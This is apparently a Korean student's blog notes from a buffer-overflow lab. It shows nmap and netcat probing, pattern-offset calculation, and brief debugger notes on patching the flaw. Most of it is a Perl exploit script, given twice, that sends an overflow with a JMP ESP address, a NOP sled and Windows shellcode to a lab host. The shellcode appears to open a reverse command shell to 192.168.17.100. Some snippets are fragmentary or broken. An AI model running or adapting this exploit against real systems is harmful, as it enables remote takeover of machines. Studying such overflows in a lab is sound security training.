카테고리 없음

19일차. patternOffset을 이용한 리턴 값 확인.

컴공 2013. 5. 3. 00:18
반응형

root@bt:~/test# nmap -sS -f 192.168.17.150 -p 1000-2000
1472/tcp open  csdm
cdsm

C:\Windows\System32\drivers\etc\services
포트정보가 저장되있다

root@bt:~/test# nc 192.168.17.150 1472
hello
server : hi, Client
hello
//그대로 돌려주는건 저장하는 것. buffer가 있다.
buffer flow로 공격가능하다.

스택에 리턴주소가 저장된다.

root@bt:~/test# cd /pentest/exploits/framework2/sdk/
root@bt:/pentest/exploits/framework2/sdk# ./patternOffset.pl 69423169 3000

같은 패턴이 여러개 생길 수 있으므로 갯수를 적는다(3000)

use lib "/pentest/exploits/framework2/lib";
use Msf::Socket::Tcp;
use Pex::Text;

$conn=Msf::Socket::Tcp->new(
        'PeerAddr' => '192.168.17.150',
        'PeerPort' => '1472',
        );
if($conn->IsError){
        print "error:" . $conn->GetError . "\n";
}
$attack = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68".
"\xc0\xa8\x11\x64\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9".
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68".
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3".
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab".
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51".
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6".
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6".
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
$jmpesp = "\xED\x1E\x97\x7C";
$add = "a" x 8;
$Pattern = Pex::Text::PatternCreate(1024);
$dummy = "A" x 1024;
$conn->Send($Pattern . $jmpesp . $add .  $attack . "\r\n");
///

7c971eed
$jmpesp = "\xED\x1E\x97\x7C";
$add = "\90" x 20;
$Pattern = Pex::Text::PatternCreate(1024);
$dummy = "A" x 1024;
$conn->Send($Pattern . $jmpesp .  $attack . $add . "\r\n");
// 90으로해도 된다.
★★ nop 썰매 공격기법 -- 변수개수 몰라도 공격이 가능하다.


//공격방어

004011E9  |.  8DBC24 AC010000   LEA EDI,DWORD PTR SS:[ESP+1AC]
004011F0  |.  83C9 FF           OR ECX,FFFFFFFF
004011F3  |.  33C0              XOR EAX,EAX
004011F5  |.  8D9424 AC010000   LEA EDX,DWORD PTR SS:[ESP+1AC]
004011FC  |.  F2:AE             REPNE SCAS BYTE PTR ES:[EDI]
004011FE  |.  F7D1              NOT ECX
00401200  |.  49                DEC ECX
00401201      90                NOP
00401202      90                NOP
00401203      E9 903B0000       JMP 10_Quiz.00404D98
00401208  |.  56                PUSH ESI                                 ; /Socket
00401209  |.  E8 28000000       CALL <JMP.&WSOCK32.#3>                   ; \closesocket
---------------------------
00404D92   $- FF25 78504000     JMP DWORD PTR DS:[<&KERNEL32.RtlUnwind>] ;  ntdll.RtlUnwind
00404D98      C682 00040000 00  MOV BYTE PTR DS:[EDX+400],0
00404D9F      52                PUSH EDX
00404DA0      E8 5BC2FFFF       CALL 10_Quiz.00401000
00404DA5    ^ E9 5EC4FFFF       JMP 10_Quiz.00401208


1024(0x400)에 null 문자를 넣는다.
배열이기에 400를 3FF(400-1)으로 해서 마지막에 0을 넣는다.

00401202      52            PUSH EDX  //nop
00401203      >CALL 10_Quiz.00401000  //jmp 00404DBD 로 바꿔서 빈 memory 영역으로 점프시킨다.
00401208  |.  >PUSH ESI                                 ; /Socket

00404DAA mov byte [edx+3FF], 0 //1023번째 부분에 넣음
  push EDX     //stack영역의 1020부분에 null(0x0)을 삽입한다.
  call 401000  //함수를 호출한다.
  jmp 00401208 //call 된 다음 영역으로 옴긴다.


  수정하다가 저장이 제대로 안되면 0000
         0000          ADD BYTE PTR DS:[EAX],AL  // 다음과 같은 값이 메모리값에 차버린다.


\\\\\\\\\\\\\ mp3변환하는 것의 복귀주소에 프로그램을 넣어 실행
EBP-69BF9C 0012F96C    F3000002


EBP-28   > 7C9807A8  RETURN to ntdll.7C9807A8 from ntdll.DbgBreakPoint

EBP-69BF54 00> F3000002


### wav, ogg -> mp3
packing -용량을 줄임

EIP -

portscan --x
nc --- aa
복귀주소 씌움 --a
몇번째인지 알아봄

\\\\\\\\\\\
$Pattern = ㅇㅇㅇㅇ
--------

printf("%s",$pattern);

 

use lib "/pentest/exploits/framework2/lib";
use Msf::Socket::Tcp;
use Pex::Text;

$conn=Msf::Socket::Tcp->new(
        'PeerAddr' => '192.168.17.150',
        'PeerPort' => '1472',
        );
if($conn->IsError){
        print "error:" . $conn->GetError . "\n";
}
$attack = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68".
"\xc0\xa8\x11\x64\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9".
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68".
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3".
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab".
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51".
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6".
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6".
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
$jmpesp = "\xED\x1E\x97\x7C";
$add = "a" x 8;
$Pattern = Pex::Text::PatternCreate(1024);
$dummy = "A" x 1024;
$conn->Send($Pattern .  "\r\n");
print $pattern

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
패턴값 넣기위한 작업(리눅스)

use lib "/pentest/exploits/framework2/lib";
use Pex::Text;

$pattern = Pex::Text::PatternCreate(10000);
printf("%s", %pattern);


컨트롤 - 를하면 화면이 작아진다.

\\\\\\\\\\\\\\\
a.wav에 넣고
46366846

root@bt:/pentest/exploits/framework2/sdk# ./patternOffset.pl 46366846 10000
4128

 

 

 

반응형